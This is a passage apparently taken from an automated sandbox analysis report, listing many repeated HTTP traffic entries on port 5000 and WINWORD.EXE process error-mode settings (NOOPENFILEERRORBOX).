Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49280
Source: unknown	Network traffic detected: HTTP traffic on port 49281 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49281
Source: unknown	Network traffic detected: HTTP traffic on port 49282 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49282
Source: unknown	Network traffic detected: HTTP traffic on port 49283 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49283
Source: unknown	Network traffic detected: HTTP traffic on port 49284 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49284
Source: unknown	Network traffic detected: HTTP traffic on port 49285 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49285
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49285
Source: unknown	Network traffic detected: HTTP traffic on port 49286 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49286
Source: unknown	Network traffic detected: HTTP traffic on port 49287 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49287
Source: unknown	Network traffic detected: HTTP traffic on port 49288 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49288
Source: unknown	Network traffic detected: HTTP traffic on port 49289 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49289
Source: unknown	Network traffic detected: HTTP traffic on port 49290 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49290
Source: unknown	Network traffic detected: HTTP traffic on port 49291 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49291
Source: unknown	Network traffic detected: HTTP traffic on port 49292 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49292
Source: unknown	Network traffic detected: HTTP traffic on port 49293 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49293
Source: unknown	Network traffic detected: HTTP traffic on port 49294 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49294
Source: unknown	Network traffic detected: HTTP traffic on port 49295 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49295
Source: unknown	Network traffic detected: HTTP traffic on port 49296 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49296
Source: unknown	Network traffic detected: HTTP traffic on port 49297 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49297
Source: unknown	Network traffic detected: HTTP traffic on port 49298 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49298
Source: unknown	Network traffic detected: HTTP traffic on port 49299 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49299
Source: unknown	Network traffic detected: HTTP traffic on port 49300 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49300
Source: unknown	Network traffic detected: HTTP traffic on port 49301 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49301
Source: unknown	Network traffic detected: HTTP traffic on port 49302 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49302
Source: unknown	Network traffic detected: HTTP traffic on port 49303 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49303
Source: unknown	Network traffic detected: HTTP traffic on port 49304 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49304
Source: unknown	Network traffic detected: HTTP traffic on port 49305 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49305
Source: unknown	Network traffic detected: HTTP traffic on port 49306 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49306
Source: unknown	Network traffic detected: HTTP traffic on port 49307 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49307
Source: unknown	Network traffic detected: HTTP traffic on port 49308 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49308
Source: unknown	Network traffic detected: HTTP traffic on port 49309 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49309
Source: unknown	Network traffic detected: HTTP traffic on port 49310 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49310
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49310
Source: unknown	Network traffic detected: HTTP traffic on port 49311 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49311
Source: unknown	Network traffic detected: HTTP traffic on port 49312 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49312
Source: unknown	Network traffic detected: HTTP traffic on port 49313 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49313
Source: unknown	Network traffic detected: HTTP traffic on port 49314 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49314
Source: unknown	Network traffic detected: HTTP traffic on port 49315 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49315
Source: unknown	Network traffic detected: HTTP traffic on port 49316 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49316
Source: unknown	Network traffic detected: HTTP traffic on port 49317 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49317
Source: unknown	Network traffic detected: HTTP traffic on port 49318 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49318
Source: unknown	Network traffic detected: HTTP traffic on port 49319 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49319
Source: unknown	Network traffic detected: HTTP traffic on port 49320 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49320
Source: unknown	Network traffic detected: HTTP traffic on port 49321 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49321
Source: unknown	Network traffic detected: HTTP traffic on port 49322 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49322
Source: unknown	Network traffic detected: HTTP traffic on port 49323 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49323
Source: unknown	Network traffic detected: HTTP traffic on port 49324 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49324
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 49327 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49327
Source: unknown	Network traffic detected: HTTP traffic on port 49328 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49328
Source: unknown	Network traffic detected: HTTP traffic on port 49329 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49329
Source: unknown	Network traffic detected: HTTP traffic on port 49330 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49330
Source: unknown	Network traffic detected: HTTP traffic on port 49331 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49331
Source: unknown	Network traffic detected: HTTP traffic on port 49332 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49332
Source: unknown	Network traffic detected: HTTP traffic on port 49333 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49333
Source: unknown	Network traffic detected: HTTP traffic on port 49334 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49334
Source: unknown	Network traffic detected: HTTP traffic on port 49335 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49335
Source: unknown	Network traffic detected: HTTP traffic on port 49336 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49336
Source: unknown	Network traffic detected: HTTP traffic on port 49337 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49337
Source: unknown	Network traffic detected: HTTP traffic on port 49338 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49338

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
